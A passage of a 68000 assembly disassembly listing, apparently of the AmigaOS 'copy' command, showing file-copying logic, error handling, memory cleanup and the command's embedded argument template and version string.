  2236.     JSR    -462(A6)        ;161C: 4EAEFE32
  2237.     BRA.S    LAB_0078        ;1620: 6040
  2238. LAB_0076:
  2239.     MOVEA.L    46(A7),A3        ;1622: 266F002E
  2240.     MOVE.L    -124(A5),D1        ;1626: 222DFF84
  2241.     MOVE.L    -56(A5),D2        ;162A: 242DFFC8
  2242.     MOVE.L    -116(A5),D3        ;162E: 262DFF8C
  2243.     MOVEA.L    A3,A6            ;1632: 2C4B
  2244.     JSR    -48(A6)            ;1634: 4EAEFFD0
  2245.     CMP.L    -116(A5),D0        ;1638: B0ADFF8C
  2246.     BEQ.S    LAB_0077        ;163C: 6708
  2247.     MOVEQ    #1,D0            ;163E: 7001
  2248.     MOVE.L    D0,-116(A5)        ;1640: 2B40FF8C
  2249.     BRA.S    LAB_0078        ;1644: 601C
  2250. LAB_0077:
  2251.     MOVEA.L    46(A7),A3        ;1646: 266F002E
  2252.     MOVE.L    -120(A5),D1        ;164A: 222DFF88
  2253.     MOVE.L    -56(A5),D2        ;164E: 242DFFC8
  2254.     MOVE.L    D7,D3            ;1652: 2607
  2255.     MOVEA.L    A3,A6            ;1654: 2C4B
  2256.     JSR    -42(A6)            ;1656: 4EAEFFD6
  2257.     MOVE.L    D0,-116(A5)        ;165A: 2B40FF8C
  2258.     TST.L    D0            ;165E: 4A80
  2259.     BGT.S    LAB_0075        ;1660: 6E9A
  2260. LAB_0078:
  2261.     TST.L    -116(A5)        ;1662: 4AADFF8C
  2262.     BEQ.S    LAB_0079        ;1666: 6708
  2263.     MOVEA.L    A3,A6            ;1668: 2C4B
  2264.     JSR    -132(A6)        ;166A: 4EAEFF7C
  2265.     MOVE.L    D0,D4            ;166E: 2800
  2266. LAB_0079:
  2267.     MOVE.L    -124(A5),D1        ;1670: 222DFF84
  2268.     MOVEA.L    A3,A6            ;1674: 2C4B
  2269.     JSR    -36(A6)            ;1676: 4EAEFFDC
  2270.     CLR.L    -124(A5)        ;167A: 42ADFF84
  2271.     MOVE.L    -120(A5),D1        ;167E: 222DFF88
  2272.     JSR    -36(A6)            ;1682: 4EAEFFDC
  2273.     CLR.L    -120(A5)        ;1686: 42ADFF88
  2274.     TST.L    D5            ;168A: 4A85
  2275.     BEQ.S    LAB_007B        ;168C: 6716
  2276.     MOVE.L    D5,D1            ;168E: 2205
  2277.     JSR    -126(A6)        ;1690: 4EAEFF82
  2278.     MOVE.L    D0,D6            ;1694: 2C00
  2279.     MOVEA.L    36(A7),A0        ;1696: 206F0024
  2280.     MOVEA.L    -52(A5),A1        ;169A: 226DFFCC
  2281. LAB_007A:
  2282.     MOVE.B    (A0)+,(A1)+        ;169E: 12D8
  2283.     BNE.S    LAB_007A        ;16A0: 66FC
  2284.     BRA.S    LAB_0080        ;16A2: 6054
  2285. LAB_007B:
  2286.     MOVEA.L    -104(A5),A0        ;16A4: 206DFF98
  2287.     MOVEA.L    A0,A1            ;16A8: 2248
  2288. LAB_007C:
  2289.     TST.B    (A1)+            ;16AA: 4A19
  2290.     BNE.S    LAB_007C        ;16AC: 66FC
  2291.     SUBQ.L    #1,A1            ;16AE: 5389
  2292.     SUBA.L    A0,A1            ;16B0: 93C8
  2293.     MOVE.L    A1,D0            ;16B2: 2009
  2294.     MOVEQ    #80,D1            ;16B4: 7250
  2295.     CMP.L    D1,D0            ;16B6: B081
  2296.     BCS.S    LAB_007E        ;16B8: 6532
  2297.     MOVEA.L    -52(A5),A1        ;16BA: 226DFFCC
  2298.     MOVEA.L    50(A7),A6        ;16BE: 2C6F0032
  2299.     JSR    -690(A6)        ;16C2: 4EAEFD4E
  2300.     MOVEA.L    -104(A5),A0        ;16C6: 206DFF98
  2301.     MOVEA.L    A0,A1            ;16CA: 2248
  2302. LAB_007D:
  2303.     TST.B    (A1)+            ;16CC: 4A19
  2304.     BNE.S    LAB_007D        ;16CE: 66FC
  2305.     SUBQ.L    #1,A1            ;16D0: 5389
  2306.     SUBA.L    A0,A1            ;16D2: 93C8
  2307.     MOVE.L    A1,D0            ;16D4: 2009
  2308.     ADDQ.L    #1,D0            ;16D6: 5280
  2309.     MOVEQ    #0,D1            ;16D8: 7200
  2310.     JSR    -684(A6)        ;16DA: 4EAEFD54
  2311.     MOVE.L    D0,-52(A5)        ;16DE: 2B40FFCC
  2312.     TST.L    D0            ;16E2: 4A80
  2313.     BNE.S    LAB_007E        ;16E4: 6606
  2314.     MOVEQ    #103,D4            ;16E6: 7867
  2315.     BRA    LAB_0096        ;16E8: 60000248
  2316. LAB_007E:
  2317.     MOVEA.L    -104(A5),A0        ;16EC: 206DFF98
  2318.     MOVEA.L    -52(A5),A1        ;16F0: 226DFFCC
  2319. LAB_007F:
  2320.     MOVE.B    (A0)+,(A1)+        ;16F4: 12D8
  2321.     BNE.S    LAB_007F        ;16F6: 66FC
  2322. LAB_0080:
  2323.     MOVE.L    -116(A5),D0        ;16F8: 202DFF8C
  2324.     BEQ    LAB_0089        ;16FC: 670000D0
  2325.     MOVE.L    40(A7),D7        ;1700: 2E2F0028
  2326.     MOVEA.L    46(A7),A2        ;1704: 246F002E
  2327.     TST.L    D4            ;1708: 4A84
  2328.     BEQ    LAB_0086        ;170A: 6700008C
  2329.     TST.L    D0            ;170E: 4A80
  2330.     BPL.S    LAB_0081        ;1710: 6A06
  2331.     LEA    LAB_00C2(PC),A0        ;1712: 41FA04F2
  2332.     BRA.S    LAB_0082        ;1716: 6004
  2333. LAB_0081:
  2334.     LEA    LAB_00C3(PC),A0        ;1718: 41FA04F2
  2335. LAB_0082:
  2336.     MOVE.L    A0,-116(A5)        ;171C: 2B48FF8C
  2337.     LEA    LAB_00C4(PC),A0        ;1720: 41FA04F0
  2338.     MOVE.L    A0,D1            ;1724: 2208
  2339.     LEA    -116(A5),A1        ;1726: 43EDFF8C
  2340.     MOVE.L    A1,D2            ;172A: 2409
  2341.     MOVEA.L    A2,A6            ;172C: 2C4A
  2342.     JSR    -954(A6)        ;172E: 4EAEFC46
  2343.     MOVE.L    D4,D1            ;1732: 2204
  2344.     MOVEQ    #0,D2            ;1734: 7400
  2345.     JSR    -474(A6)        ;1736: 4EAEFE26
  2346.     MOVEQ    #10,D0            ;173A: 700A
  2347.     MOVE.L    D0,-68(A5)        ;173C: 2B40FFBC
  2348.     LEA    LAB_00C2(PC),A0        ;1740: 41FA04C4
  2349.     MOVE.L    -116(A5),D0        ;1744: 202DFF8C
  2350.     CMP.L    A0,D0            ;1748: B088
  2351.     BEQ.S    LAB_0083        ;174A: 6708
  2352.     MOVEQ    #32,D0            ;174C: 7020
  2353.     NOT.B    D0            ;174E: 4600
  2354.     CMP.L    D0,D4            ;1750: B880
  2355.     BEQ.S    LAB_0084        ;1752: 671C
  2356. LAB_0083:
  2357.     TST.L    D7            ;1754: 4A87
  2358.     BEQ.S    LAB_0084        ;1756: 6718
  2359.     LEA    LAB_00C6(PC),A0        ;1758: 41FA04CA
  2360.     MOVE.L    A0,D1            ;175C: 2208
  2361.     LEA    -52(A5),A1        ;175E: 43EDFFCC
  2362.     MOVE.L    A1,D2            ;1762: 2409
  2363.     JSR    -954(A6)        ;1764: 4EAEFC46
  2364.     MOVE.L    -52(A5),D1        ;1768: 222DFFCC
  2365.     JSR    -72(A6)            ;176C: 4EAEFFB8
  2366. LAB_0084:
  2367.     MOVEQ    #-1,D0            ;1770: 70FF
  2368.     CMP.L    D0,D6            ;1772: BC80
  2369.     BEQ.S    LAB_0085        ;1774: 6706
  2370.     MOVE.L    D6,D1            ;1776: 2206
  2371.     JSR    -126(A6)        ;1778: 4EAEFF82
  2372. LAB_0085:
  2373.     MOVE.L    D4,D0            ;177C: 2004
  2374.     BSR    LAB_00DC        ;177E: 6100053C
  2375.     TST.L    D0            ;1782: 4A80
  2376.     BEQ    LAB_0092        ;1784: 67000156
  2377.     MOVEA.L    -140(A5),A3        ;1788: 266DFF74
  2378.     MOVE.L    A3,D1            ;178C: 220B
  2379.     MOVEA.L    A2,A6            ;178E: 2C4A
  2380.     JSR    -834(A6)        ;1790: 4EAEFCBE
  2381.     BRA    LAB_009B        ;1794: 60000208
  2382. LAB_0086:
  2383.     TST.L    D7            ;1798: 4A87
  2384.     BEQ.S    LAB_0087        ;179A: 671A
  2385.     LEA    LAB_00C6(PC),A0        ;179C: 41FA0486
  2386.     MOVE.L    A0,D1            ;17A0: 2208
  2387.     LEA    -52(A5),A1        ;17A2: 43EDFFCC
  2388.     MOVE.L    A1,D2            ;17A6: 2409
  2389.     MOVEA.L    A2,A6            ;17A8: 2C4A
  2390.     JSR    -954(A6)        ;17AA: 4EAEFC46
  2391.     MOVE.L    -52(A5),D1        ;17AE: 222DFFCC
  2392.     JSR    -72(A6)            ;17B2: 4EAEFFB8
  2393. LAB_0087:
  2394.     MOVEQ    #-1,D0            ;17B6: 70FF
  2395.     CMP.L    D0,D6            ;17B8: BC80
  2396.     BEQ.S    LAB_0088        ;17BA: 6708
  2397.     MOVE.L    D6,D1            ;17BC: 2206
  2398.     MOVEA.L    A2,A6            ;17BE: 2C4A
  2399.     JSR    -126(A6)        ;17C0: 4EAEFF82
  2400. LAB_0088:
  2401.     MOVEQ    #0,D0            ;17C4: 7000
  2402.     MOVE.L    D0,-116(A5)        ;17C6: 2B40FF8C
  2403.     BRA    LAB_0097        ;17CA: 6000016C
  2404. LAB_0089:
  2405.     TST.L    -112(A5)        ;17CE: 4AADFF90
  2406.     BNE.S    LAB_008A        ;17D2: 6610
  2407.     MOVEA.L    -56(A5),A1        ;17D4: 226DFFC8
  2408.     MOVEA.L    50(A7),A6        ;17D8: 2C6F0032
  2409.     JSR    -690(A6)        ;17DC: 4EAEFD4E
  2410.     CLR.L    -56(A5)            ;17E0: 42ADFFC8
  2411. LAB_008A:
  2412.     MOVEA.L    46(A7),A2        ;17E4: 246F002E
  2413.     TST.L    -28(A5)            ;17E8: 4AADFFE4
  2414.     BEQ.S    LAB_008B        ;17EC: 6712
  2415.     TST.L    -96(A5)            ;17EE: 4AADFFA0
  2416.     BNE.S    LAB_008B        ;17F2: 660C
  2417.     LEA    LAB_00CA(PC),A0        ;17F4: 41FA044E
  2418.     MOVE.L    A0,D1            ;17F8: 2208
  2419.     MOVEA.L    A2,A6            ;17FA: 2C4A
  2420.     JSR    -948(A6)        ;17FC: 4EAEFC4C
  2421. LAB_008B:
  2422.     TST.L    40(A7)            ;1800: 4AAF0028
  2423.     BEQ    LAB_0091        ;1804: 670000C8
  2424.     MOVE    #$0001,-176(A5)        ;1808: 3B7C0001FF50
  2425.     MOVEA.L    -140(A5),A3        ;180E: 266DFF74
  2426.     TST.L    -80(A5)            ;1812: 4AADFFB0
  2427.     BNE.S    LAB_008C        ;1816: 662A
  2428.     MOVE.L    136(A3),D0        ;1818: 202B0088
  2429.     ANDI    #$FFEF,D0        ;181C: 0240FFEF
  2430.     MOVE.L    D0,D2            ;1820: 2400
  2431.     MOVE.L    -52(A5),D1        ;1822: 222DFFCC
  2432.     MOVEA.L    A2,A6            ;1826: 2C4A
  2433.     JSR    -186(A6)        ;1828: 4EAEFF46
  2434.     TST.L    D0            ;182C: 4A80
  2435.     BNE.S    LAB_008C        ;182E: 6612
  2436.     JSR    -132(A6)        ;1830: 4EAEFF7C
  2437.     MOVEQ    #46,D1            ;1834: 722E
  2438.     NOT.B    D1            ;1836: 4601
  2439.     CMP.L    D1,D0            ;1838: B081
  2440.     BEQ.S    LAB_008C        ;183A: 6706
  2441.     MOVEQ    #0,D0            ;183C: 7000
  2442.     MOVE    D0,-176(A5)        ;183E: 3B40FF50
  2443. LAB_008C:
  2444.     TST    -176(A5)        ;1842: 4A6DFF50
  2445.     BEQ.S    LAB_008E        ;1846: 6732
  2446.     TST.L    -84(A5)            ;1848: 4AADFFAC
  2447.     BNE.S    LAB_008D        ;184C: 6606
  2448.     TST.L    -88(A5)            ;184E: 4AADFFA8
  2449.     BEQ.S    LAB_008E        ;1852: 6726
  2450. LAB_008D:
  2451.     LEA    152(A3),A0        ;1854: 41EB0098
  2452.     MOVE.L    A0,D2            ;1858: 2408
  2453.     MOVE.L    -52(A5),D1        ;185A: 222DFFCC
  2454.     MOVEA.L    A2,A6            ;185E: 2C4A
  2455.     JSR    -396(A6)        ;1860: 4EAEFE74
  2456.     TST.L    D0            ;1864: 4A80
  2457.     BNE.S    LAB_008E        ;1866: 6612
  2458.     JSR    -132(A6)        ;1868: 4EAEFF7C
  2459.     MOVEQ    #46,D1            ;186C: 722E
  2460.     NOT.B    D1            ;186E: 4601
  2461.     CMP.L    D1,D0            ;1870: B081
  2462.     BEQ.S    LAB_008E        ;1872: 6706
  2463.     MOVEQ    #0,D0            ;1874: 7000
  2464.     MOVE    D0,-176(A5)        ;1876: 3B40FF50
  2465. LAB_008E:
  2466.     TST    -176(A5)        ;187A: 4A6DFF50
  2467.     BEQ.S    LAB_0090        ;187E: 6732
  2468.     TST.L    -88(A5)            ;1880: 4AADFFA8
  2469.     BNE.S    LAB_008F        ;1884: 6606
  2470.     TST.L    -76(A5)            ;1886: 4AADFFB4
  2471.     BEQ.S    LAB_0090        ;188A: 6726
  2472. LAB_008F:
  2473.     LEA    164(A3),A0        ;188C: 41EB00A4
  2474.     MOVE.L    A0,D2            ;1890: 2408
  2475.     MOVE.L    -52(A5),D1        ;1892: 222DFFCC
  2476.     MOVEA.L    A2,A6            ;1896: 2C4A
  2477.     JSR    -180(A6)        ;1898: 4EAEFF4C
  2478.     TST.L    D0            ;189C: 4A80
  2479.     BNE.S    LAB_0090        ;189E: 6612
  2480.     JSR    -132(A6)        ;18A0: 4EAEFF7C
  2481.     MOVEQ    #46,D1            ;18A4: 722E
  2482.     NOT.B    D1            ;18A6: 4601
  2483.     CMP.L    D1,D0            ;18A8: B081
  2484.     BEQ.S    LAB_0090        ;18AA: 6706
  2485.     MOVEQ    #0,D0            ;18AC: 7000
  2486.     MOVE    D0,-176(A5)        ;18AE: 3B40FF50
  2487. LAB_0090:
  2488.     TST    -176(A5)        ;18B2: 4A6DFF50
  2489.     BNE.S    LAB_0091        ;18B6: 6616
  2490.     MOVEA.L    A2,A6            ;18B8: 2C4A
  2491.     JSR    -132(A6)        ;18BA: 4EAEFF7C
  2492.     MOVE.L    D0,D1            ;18BE: 2200
  2493.     MOVE.L    -52(A5),D2        ;18C0: 242DFFCC
  2494.     JSR    -474(A6)        ;18C4: 4EAEFE26
  2495.     MOVEQ    #5,D0            ;18C8: 7005
  2496.     MOVE.L    D0,-68(A5)        ;18CA: 2B40FFBC
  2497. LAB_0091:
  2498.     MOVEQ    #-1,D0            ;18CE: 70FF
  2499.     CMP.L    D0,D6            ;18D0: BC80
  2500.     BEQ.S    LAB_0092        ;18D2: 6708
  2501.     MOVE.L    D6,D1            ;18D4: 2206
  2502.     MOVEA.L    A2,A6            ;18D6: 2C4A
  2503.     JSR    -126(A6)        ;18D8: 4EAEFF82
  2504. LAB_0092:
  2505.     MOVEA.L    -160(A5),A0        ;18DC: 206DFF60
  2506.     MOVE.L    (A0),D0            ;18E0: 2010
  2507.     MOVEA.L    -140(A5),A0        ;18E2: 206DFF74
  2508.     MOVEA.L    A2,A1            ;18E6: 224A
  2509.     BSR    LAB_00D0        ;18E8: 6100037A
  2510.     MOVE.L    D0,D7            ;18EC: 2E00
  2511.     TST.L    D7            ;18EE: 4A87
  2512.     BEQ    LAB_0050        ;18F0: 6700F870
  2513. LAB_0093:
  2514.     MOVEQ    #116,D0            ;18F4: 7074
  2515.     ADD.L    D0,D0            ;18F6: D080
  2516.     CMP.L    D0,D7            ;18F8: BE80
  2517.     BEQ.S    LAB_0094        ;18FA: 670E
  2518.     TST.L    D7            ;18FC: 4A87
  2519.     BEQ.S    LAB_0094        ;18FE: 670A
  2520.     MOVEA.L    A2,A6            ;1900: 2C4A
  2521.     JSR    -132(A6)        ;1902: 4EAEFF7C
  2522.     MOVE.L    D0,D4            ;1906: 2800
  2523.     BRA.S    LAB_0096        ;1908: 6028
  2524. LAB_0094:
  2525.     MOVEA.L    46(A7),A2        ;190A: 246F002E
  2526.     MOVE.L    -140(A5),D1        ;190E: 222DFF74
  2527.     MOVEA.L    A2,A6            ;1912: 2C4A
  2528.     JSR    -834(A6)        ;1914: 4EAEFCBE
  2529. LAB_0095:
  2530.     MOVEA.L    -64(A5),A1        ;1918: 226DFFC0
  2531.     MOVEA.L    (A1)+,A0        ;191C: 2059
  2532.     MOVE.L    A0,-60(A5)        ;191E: 2B48FFC4
  2533.     MOVE.L    A1,-64(A5)        ;1922: 2B49FFC0
  2534.     MOVE.L    A0,D0            ;1926: 2008
  2535.     BNE    LAB_0046        ;1928: 6600F692
  2536.     MOVEA.L    -140(A5),A3        ;192C: 266DFF74
  2537.     BRA.S    LAB_009B        ;1930: 606C
  2538. LAB_0096:
  2539.     MOVEQ    #20,D0            ;1932: 7014
  2540.     MOVE.L    D0,-68(A5)        ;1934: 2B40FFBC
  2541. LAB_0097:
  2542.     MOVEA.L    46(A7),A2        ;1938: 246F002E
  2543.     MOVEA.L    -140(A5),A3        ;193C: 266DFF74
  2544.     MOVE.L    A3,D1            ;1940: 220B
  2545.     MOVEA.L    A2,A6            ;1942: 2C4A
  2546.     JSR    -834(A6)        ;1944: 4EAEFCBE
  2547. LAB_0098:
  2548.     MOVEQ    #116,D0            ;1948: 7074
  2549.     ADD.L    D0,D0            ;194A: D080
  2550.     CMP.L    D0,D4            ;194C: B880
  2551.     BNE.S    LAB_0099        ;194E: 6606
  2552.     MOVEQ    #0,D4            ;1950: 7800
  2553.     CLR.L    -68(A5)            ;1952: 42ADFFBC
  2554. LAB_0099:
  2555.     TST.L    D4            ;1956: 4A84
  2556.     BEQ.S    LAB_009B        ;1958: 6744
  2557.     CMPI.L    #$00000130,D4        ;195A: 0C8400000130
  2558.     BEQ.S    LAB_009B        ;1960: 673C
  2559.     MOVE.L    -52(A5),D1        ;1962: 222DFFCC
  2560.     MOVEQ    #80,D2            ;1966: 7450
  2561.     MOVEA.L    A2,A6            ;1968: 2C4A
  2562.     JSR    -576(A6)        ;196A: 4EAEFDC0
  2563.     LEA    LAB_00CC(PC),A1        ;196E: 43FA02DE
  2564.     MOVE.L    A1,D1            ;1972: 2209
  2565.     LEA    -52(A5),A6        ;1974: 4DEDFFCC
  2566.     MOVE.L    A6,D2            ;1978: 240E
  2567.     MOVEA.L    A2,A6            ;197A: 2C4A
  2568.     JSR    -954(A6)        ;197C: 4EAEFC46
  2569.     TST.L    -116(A5)        ;1980: 4AADFF8C
  2570.     BEQ.S    LAB_009A        ;1984: 6710
  2571.     LEA    LAB_00CE(PC),A0        ;1986: 41FA02CC
  2572.     MOVE.L    A0,D1            ;198A: 2208
  2573.     LEA    -116(A5),A1        ;198C: 43EDFF8C
  2574.     MOVE.L    A1,D2            ;1990: 2409
  2575.     JSR    -954(A6)        ;1992: 4EAEFC46
  2576. LAB_009A:
  2577.     MOVE.L    D4,D1            ;1996: 2204
  2578.     MOVEQ    #0,D2            ;1998: 7400
  2579.     JSR    -474(A6)        ;199A: 4EAEFE26
  2580. LAB_009B:
  2581.     TST.L    -152(A5)        ;199E: 4AADFF68
  2582.     BEQ.S    LAB_009E        ;19A2: 673C
  2583.     CLR    -166(A5)        ;19A4: 426DFF5A
  2584.     BRA.S    LAB_009D        ;19A8: 6020
  2585. LAB_009C:
  2586.     MOVE    -166(A5),D0        ;19AA: 302DFF5A
  2587.     MOVE.L    D0,D1            ;19AE: 2200
  2588.     ADDQ    #1,D1            ;19B0: 5241
  2589.     MOVEQ    #0,D2            ;19B2: 7400
  2590.     MOVE    D0,D2            ;19B4: 3400
  2591.     ASL.L    #2,D2            ;19B6: E582
  2592.     MOVEA.L    -152(A5),A0        ;19B8: 206DFF68
  2593.     ADDA.L    D2,A0            ;19BC: D1C2
  2594.     MOVE    D1,-166(A5)        ;19BE: 3B41FF5A
  2595.     MOVE.L    (A0),D1            ;19C2: 2210
  2596.     MOVEA.L    A2,A6            ;19C4: 2C4A
  2597.     JSR    -90(A6)            ;19C6: 4EAEFFA6
  2598. LAB_009D:
  2599.     MOVE    -166(A5),D0        ;19CA: 302DFF5A
  2600.     CMP    -174(A5),D0        ;19CE: B06DFF52
  2601.     BCS.S    LAB_009C        ;19D2: 65D6
  2602.     MOVEA.L    -152(A5),A1        ;19D4: 226DFF68
  2603.     MOVEA.L    50(A7),A6        ;19D8: 2C6F0032
  2604.     JSR    -690(A6)        ;19DC: 4EAEFD4E
  2605. LAB_009E:
  2606.     TST.L    -156(A5)        ;19E0: 4AADFF64
  2607.     BEQ.S    LAB_00A1        ;19E4: 673E
  2608.     CLR    -166(A5)        ;19E6: 426DFF5A
  2609.     BRA.S    LAB_00A0        ;19EA: 6022
  2610. LAB_009F:
  2611.     MOVE    -166(A5),D0        ;19EC: 302DFF5A
  2612.     MOVE.L    D0,D1            ;19F0: 2200
  2613.     ADDQ    #1,D1            ;19F2: 5241
  2614.     MOVEQ    #0,D2            ;19F4: 7400
  2615.     MOVE    D0,D2            ;19F6: 3400
  2616.     ASL.L    #2,D2            ;19F8: E582
  2617.     MOVEA.L    -156(A5),A0        ;19FA: 206DFF64
  2618.     ADDA.L    D2,A0            ;19FE: D1C2
  2619.     MOVE    D1,-166(A5)        ;1A00: 3B41FF5A
  2620.     MOVEA.L    (A0),A1            ;1A04: 2250
  2621.     MOVEA.L    50(A7),A6        ;1A06: 2C6F0032
  2622.     JSR    -690(A6)        ;1A0A: 4EAEFD4E
  2623. LAB_00A0:
  2624.     MOVE    -166(A5),D0        ;1A0E: 302DFF5A
  2625.     CMP    -174(A5),D0        ;1A12: B06DFF52
  2626.     BCS.S    LAB_009F        ;1A16: 65D4
  2627.     MOVEA.L    -156(A5),A1        ;1A18: 226DFF64
  2628.     MOVEA.L    50(A7),A6        ;1A1C: 2C6F0032
  2629.     JSR    -690(A6)        ;1A20: 4EAEFD4E
  2630. LAB_00A1:
  2631.     MOVEA.L    -52(A5),A1        ;1A24: 226DFFCC
  2632.     MOVEA.L    50(A7),A6        ;1A28: 2C6F0032
  2633.     JSR    -690(A6)        ;1A2C: 4EAEFD4E
  2634.     MOVEA.L    -48(A5),A1        ;1A30: 226DFFD0
  2635.     JSR    -690(A6)        ;1A34: 4EAEFD4E
  2636.     MOVEA.L    A3,A1            ;1A38: 224B
  2637.     JSR    -690(A6)        ;1A3A: 4EAEFD4E
  2638.     MOVEA.L    -56(A5),A1        ;1A3E: 226DFFC8
  2639.     JSR    -690(A6)        ;1A42: 4EAEFD4E
  2640.     MOVEA.L    -132(A5),A1        ;1A46: 226DFF7C
  2641.     JSR    -690(A6)        ;1A4A: 4EAEFD4E
  2642.     MOVEA.L    -44(A5),A3        ;1A4E: 266DFFD4
  2643.     MOVE.L    A3,D0            ;1A52: 200B
  2644.     BEQ.S    LAB_00A2        ;1A54: 6708
  2645.     MOVE.L    A3,D1            ;1A56: 220B
  2646.     MOVEA.L    A2,A6            ;1A58: 2C4A
  2647.     JSR    -858(A6)        ;1A5A: 4EAEFCA6
  2648. LAB_00A2:
  2649.     MOVE.L    -120(A5),D0        ;1A5E: 202DFF88
  2650.     BEQ.S    LAB_00A3        ;1A62: 6708
  2651.     MOVE.L    D0,D1            ;1A64: 2200
  2652.     MOVEA.L    A2,A6            ;1A66: 2C4A
  2653.     JSR    -36(A6)            ;1A68: 4EAEFFDC
  2654. LAB_00A3:
  2655.     MOVE.L    -124(A5),D0        ;1A6C: 202DFF84
  2656.     BEQ.S    LAB_00A4        ;1A70: 6708
  2657.     MOVE.L    D0,D1            ;1A72: 2200
  2658.     MOVEA.L    A2,A6            ;1A74: 2C4A
  2659.     JSR    -36(A6)            ;1A76: 4EAEFFDC
  2660. LAB_00A4:
  2661.     MOVE.L    D5,D1            ;1A7A: 2205
  2662.     MOVEA.L    A2,A6            ;1A7C: 2C4A
  2663.     JSR    -90(A6)            ;1A7E: 4EAEFFA6
  2664.     MOVE.L    -128(A5),D1        ;1A82: 222DFF80
  2665.     JSR    -90(A6)            ;1A86: 4EAEFFA6
  2666.     MOVEA.L    -136(A5),A3        ;1A8A: 266DFF78
  2667.     MOVEA    #$FFFF,A0        ;1A8E: 307CFFFF
  2668.     CMPA.L    A3,A0            ;1A92: B1CB
  2669.     BEQ.S    LAB_00A5        ;1A94: 670E
  2670.     MOVEA    #$0004,A0        ;1A96: 307C0004
  2671.     MOVEA.L    (A0),A1            ;1A9A: 2250
  2672.     MOVEA.L    276(A1),A0        ;1A9C: 20690114
  2673.     MOVE.L    A3,184(A0)        ;1AA0: 214B00B8
  2674. LAB_00A5:
  2675.     MOVE.L    D4,D1            ;1AA4: 2204
  2676.     JSR    -462(A6)        ;1AA6: 4EAEFE32
  2677.     MOVEA.L    A2,A1            ;1AAA: 224A
  2678.     MOVEA.L    50(A7),A6        ;1AAC: 2C6F0032
  2679.     JSR    -414(A6)        ;1AB0: 4EAEFE62
  2680.     BRA.S    LAB_00A7        ;1AB4: 6010
  2681. LAB_00A6:
  2682.     MOVEA    #$0004,A0        ;1AB6: 307C0004
  2683.     MOVEA.L    (A0),A1            ;1ABA: 2250
  2684.     MOVEA.L    276(A1),A0        ;1ABC: 20690114
  2685.     MOVEQ    #122,D0            ;1AC0: 707A
  2686.     MOVE.L    D0,148(A0)        ;1AC2: 21400094
  2687. LAB_00A7:
  2688.     MOVE.L    -68(A5),D0        ;1AC6: 202DFFBC
  2689.     MOVEM.L    (A7)+,D2-D7/A2-A3/A6    ;1ACA: 4CDF4CFC
  2690.     UNLK    A5            ;1ACE: 4E5D
  2691.     RTS                ;1AD0: 4E75
  2692. LAB_00A8:
  2693.     DC.W    $0000            ;1AD2
  2694. LAB_00A9:
  2695.     DC.W    $646F            ;1AD4
  2696.     DC.W    $732E            ;1AD6
  2697.     DC.W    $6C69            ;1AD8
  2698.     BHI.S    LAB_00AC        ;1ADA: 6272
  2699.     BSR.S    LAB_00AD        ;1ADC: 6172
  2700.     DC.W    $7900            ;1ADE
  2701. LAB_00AA:
  2702.     NOT    (A2)            ;1AE0: 4652
  2703.     DC.W    $4F4D            ;1AE2
  2704.     MOVE.L    A5,11348(A7)        ;1AE4: 2F4D2C54
  2705.     DC.W    $4F2F            ;1AE8
  2706.     DC.W    $412C            ;1AEA
  2707.     DC.W    $414C            ;1AEC
  2708.     DC.W    $4C2F            ;1AEE
  2709.     SUBQ.B    #1,20821(A4)        ;1AF0: 532C5155
  2710.     DC.W    $4945            ;1AF4
  2711.     ADDQ.B    #2,21292(A7)        ;1AF6: 542F532C
  2712.     CLR    (A5)            ;1AFA: 4255
  2713.     DC.W    $463D            ;1AFC
  2714.     CLR    (A5)            ;1AFE: 4255
  2715.     NOT    D6            ;1B00: 4646
  2716.     DC.W    $4552            ;1B02
  2717.     MOVE.L    A3,12110(A7)        ;1B04: 2F4B2F4E
  2718.     MOVEA.L    D3,A6            ;1B08: 2C43
  2719.     DC.W    $4C4F            ;1B0A
  2720.     TRAP    #5            ;1B0C: 4E45
  2721.     MOVE.L    (A3),11332(A7)        ;1B0E: 2F532C44
  2722.     DC.W    $4154            ;1B12
  2723.     DC.W    $4553            ;1B14
  2724.     MOVE.L    (A3),11342(A7)        ;1B16: 2F532C4E
  2725.     DC.W    $4F50            ;1B1A
  2726.     ADDQ    #1,A7            ;1B1C: 524F
  2727.     DC.W    $2F53            ;1B1E
  2728.     MOVEA.L    D3,A6            ;1B20: 2C43
  2729.     DC.W    $4F4D            ;1B22
  2730.     MOVE.L    (A3),11342(A7)        ;1B24: 2F532C4E
  2731.     DC.W    $4F52            ;1B28
  2732.     DC.W    $4551            ;1B2A
  2733.     MOVE.L    (A3),36(A7)        ;1B2C: 2F530024
  2734.     ADDQ    #3,D5            ;1B30: 5645
  2735.     DC.W    $523A            ;1B32
  2736.     MOVEA.L    -(A3),A0        ;1B34: 2063
  2737.     BLE.S    LAB_00B3        ;1B36: 6F70
  2738.     DC.W    $7920            ;1B38
  2739.     DC.W    $3430            ;1B3A
  2740.     MOVE.L    40(A1,D2.W),D7        ;1B3C: 2E312028
  2741.     MOVE    12846(A6),-(A4)        ;1B40: 392E322E
  2742.     DC.W    $3933            ;1B44
  2743.     MOVE.L    A2,-(A4)        ;1B46: 290A
  2744.     BTST    D6,D0            ;1B48: 0D00
  2745. LAB_00AB:
  2746.     SUBQ    #3,27748(A1)        ;1B4A: 57696C64
  2747. LAB_00AC:
  2748.     DC.W    $6361            ;1B4E
  2749. LAB_00AD:
  2750.     MOVEQ    #100,D1            ;1B50: 7264
  2751.     MOVEA.L    -(A4),A0        ;1B52: 2064
  2752.     DC.W    $6573            ;1B54
  2753.     MOVEQ    #105,D2            ;1B56: 7469
  2754.     DC.W    $6E61            ;1B58
  2755.     MOVEQ    #105,D2            ;1B5A: 7469
  2756.     BLE.S    LAB_00B9        ;1B5C: 6F6E
  2757.     MOVEA.L    28278(A1),A0        ;1B5E: 20696E76
  2758.     BSR.S    LAB_00BA        ;1B62: 616C
  2759.     BVS.S    LAB_00B8        ;1B64: 6964
  2760.     MOVE.L    A2,D7            ;1B66: 2E0A
  2761.     DC.W    $0000            ;1B68
  2762. LAB_00AE:
  2763.     DC.W    $4361            ;1B6A
  2764.     DC.W    $6E27            ;1B6C
  2765.     MOVEQ    #32,D2            ;1B6E: 7420
  2766.     BLE.S    LAB_00BB        ;1B70: 6F70
  2767.     BCS.S    LAB_00BB        ;1B72: 656E
  2768.     MOVE.L    -(A5),D0        ;1B74: 2025
  2769.     DC.W    $7320            ;1B76
  2770.     DC.W    $666F            ;1B78
  2771.     MOVEQ    #32,D1            ;1B7A: 7220
  2772.     DC.W    $0000            ;1B7C
  2773. LAB_00AF:
  2774.     BVS.S    LAB_00BE        ;1B7E: 696E
  2775.     DC.W    $0000            ;1B80
  2776. LAB_00B0:
